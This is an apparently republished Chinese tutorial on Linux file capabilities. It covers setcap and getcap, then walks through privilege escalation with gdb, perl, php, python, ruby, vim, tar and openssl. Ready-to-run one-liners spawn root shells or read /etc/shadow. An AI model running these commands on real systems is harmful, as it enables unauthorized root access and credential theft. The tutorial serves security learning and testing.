溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

發(fā)布時(shí)間:2021-08-07 11:05:37 來源:億速云 閱讀:681 作者:Leah 欄目:編程語言

本篇文章給大家分享的是有關(guān)Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

(一)Linux Capabilities管理

1、 Linux系統(tǒng)管理Capabilities的工具

Linux系統(tǒng)中主要提供了兩種工具來管理capabilities:libcap和libcap-ng。

libcap提供了getcap和setcap兩個(gè)命令來分別查看和設(shè)置文件的capabilities,同時(shí)還提供了capsh來查看當(dāng)前shell進(jìn)程的capabilities。

libcap-ng更易于使用,使用同一個(gè)命令filecap來查看和設(shè)置capabilities。

2、 Capabilities的管理方法

(1)設(shè)置Capability

舉個(gè)例子,安裝wireshark軟件后,默認(rèn)情況下,普通用戶無法對(duì)網(wǎng)卡實(shí)施抓包操作。這是因?yàn)槠胀ㄓ脩舨痪邆湎鄳?yīng)的權(quán)限。

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

為解決此問題,可以為/usr/bin/dumpcap文件授予抓包相關(guān)的capabilities:

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

命令執(zhí)行后重新啟動(dòng)wireshark,就可以抓包了。

(2)查看文件的Capability

getcap /usr/bin/dumpcap  //查看文件的capabilities

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

(3)刪除文件的capabilities

setcap -r /usr/bin/dumpcap

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

(二)利用Capabilities實(shí)現(xiàn)權(quán)限提升

現(xiàn)在假設(shè)管理員對(duì)一些可執(zhí)行文件設(shè)置了capabilities。測(cè)試人員通過下面的命令查找這些文件:

getcap -r / 2>/dev/null

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

之后我們針對(duì)其中的一部分程序嘗試提權(quán)。

請(qǐng)大家注意,從上面查找結(jié)果中可以看到,很多文件的capability被設(shè)置為cap_setuid。但是文件capabilities中的cap_setuid和文件的suid標(biāo)志位之間是沒有關(guān)系的:

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

設(shè)置了cap_setuid的capability的文件并沒有設(shè)置suid。

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

設(shè)置了suid的程序也不擁有cap_setuid的capability。

1、 gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

提權(quán)成功,獲取了root shell。

2、 perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

提權(quán)成功,獲取了root shell。

3、 php

php -r "posix_setuid(0); system('/bin/sh');"

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

在kali linux上提權(quán)成功,獲取了root shell。

在CentOS 7系統(tǒng)中安裝的低版本php無法提權(quán):

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

4、 python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

提權(quán)成功,獲取了root shell。

5、 ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

提權(quán)成功,獲取了root shell。

6、 rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

執(zhí)行后獲取root shell:

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

7、 vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

執(zhí)行后獲得root shell:

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

8、 tar

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

cap_dac_read_search可以繞過文件的讀權(quán)限檢查以及目錄的讀/執(zhí)行權(quán)限的檢查。

利用此特性我們可以讀取系統(tǒng)中的敏感信息。

tar cvf shadow.tar /etc/shadow  //創(chuàng)建壓縮文件

tar -xvf shadow.tar  //解壓縮

cd etc  //進(jìn)入解壓縮的目錄

chmod +r shadow  //賦予讀權(quán)限

cat shadow | grep root  //查看shadow文件的內(nèi)容

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

這樣就讀取了/etc/shadow文件的內(nèi)容,zip等程序也可以達(dá)到相同的目標(biāo),過程不再贅述。

9、 openssl

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

可以看到,openssl的capability被設(shè)置為空。下面我們嘗試使用openssl讀取/etc/shadow文件。

//使用openssl生成證書

cd /tmp

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

//啟動(dòng)web服務(wù)器,監(jiān)聽1337端口

cd /

openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP

//訪問本機(jī)的web服務(wù),讀取/etc/shadow文件

curl -k "https://127.0.0.1:1337/etc/shadow"

Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升

以上就是Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI